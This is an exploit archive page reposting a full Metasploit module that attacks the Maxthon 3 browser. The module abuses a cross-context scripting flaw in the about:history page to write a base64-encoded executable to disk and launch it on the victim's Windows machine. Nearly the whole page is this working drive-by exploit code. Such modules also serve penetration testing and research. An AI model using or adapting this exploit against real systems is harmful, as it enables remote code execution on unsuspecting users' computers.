首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Maxthon3 about:history XCS Trusted Zone Code Execution
来源:http://www.metasploit.com 作者:sinn3r 发布时间:2012-12-10  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Maxthon3 about:history XCS Trusted Zone Code Execution',
      'Description'    => %q{
        Cross Context Scripting (XCS) is possible in the Maxthon about:history page.
        Injection in such privileged/trusted browser zone can be used to modify
        configuration settings and execute arbitrary commands.

        Please note this module only works against specific versions of XCS. Currently,
        we've only successfully tested on Maxthon 3.1.7 build 600 up to 3.2.2 build 1000.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module
          'sinn3r', # msf module
          'juan vazquez' # msf module
        ],
      'References' =>
        [
          ['URL', 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html']
        ],
      'Payload' =>
        {
          'DisableNops' => true
        },
      'Platform'       => 'win',
      'Targets' =>
        [
          ['Maxthon 3 (prior to 3.3) on Windows', {} ]
        ],
      'DisclosureDate' => 'Nov 26 2012',
      'DefaultTarget'  => 0
    ))
  end

  def on_request_uri(cli, request)
    if request.headers['User-agent'] !~ /Maxthon\/3/ or request.headers['User-agent'] !~ /AppleWebKit\/534.12/
      print_status("Sending 404 for User-Agent #{request.headers['User-agent']}")
      send_not_found(cli)
      return
    end

    html_hdr = %Q|
    <html>
    <head>
    <title>Loading</title>
    |

    html_ftr = %Q|
    </head>
    <body >
    <h1>Loading</h1>
    </body></html>
    |

    case request.uri
      when /\?jspayload/
        p = regenerate_payload(cli)
        if (p.nil?)
          send_not_found(cli)
          return
        end
        # We're going to run this through unescape(), so make sure
        # everything is encoded
        penc = generate_payload_exe
        penc2 = Rex::Text.encode_base64(penc)

        # now this is base64 encoded payload which needs to be passed to the file write api in maxthon.
        # Then file can be launched via Program DOM API, because of this only Maxthon 3.1 versions are targeted.
        # The Program DOM API isn't available on Maxthon 3.2 and upper versions.
        content = %Q|
        if(maxthon.program)
        {
        var fileTemp = new maxthon.io.File.createTempFile("test","exe");
        var fileObj = maxthon.io.File(fileTemp);
        maxthon.io.FileWriter(fileTemp);
        maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");
        maxthon.program.Program.launch(fileTemp.name_,"C:");
        }
        |

      when /\?history/
        js = %Q|
        window.onload = function() {
          location.href = "about:history";
        }
        |

        content = %Q|
        #{html_hdr}
        <script>
        #{js}
        </script>
        #{html_ftr}
        |

      when get_resource()
        print_status("Sending #{self.name} payload for request #{request.uri}")

        js = %Q|
        url = location.href;
        url2 = url + "?jspayload=1";
        inj = "?history#%22/><img src=a onerror=%22"
        inj_1 = "a=document.createElement('script');a.setAttribute('src','"+url2+"');document.body.appendChild(a);";
        window.location = unescape(inj) + inj_1;
        |

        content = %Q|
        #{html_hdr}
        <script>
        #{js}
        </script>
        #{html_ftr}
        |
      else
        print_status("Sending 404 for request #{request.uri}")
        send_not_found(cli)
        return
    end

    send_response_html(cli, content)
  end

end 

					

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Splunk 5.0 Custom App Remote C
·FreeFloat FTP Server Arbitrary
·Microsoft Internet Explorer 7
·Geany <=1.22 Local Code inject
·IBM System Director Agent DLL
·FreeVimager 4.1.0 <= WriteAV A
·DIMIN Viewer 5.4.0 <= WriteAV
·Nagios XI Network Monitor Grap
·Oracle MySQL for Microsoft Win
·Free Float FTP Server USER Com
·Adobe IndesignServer 5.5 SOAP
·Sumatra 2.1.1/MuPDF 1.0 Intege
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved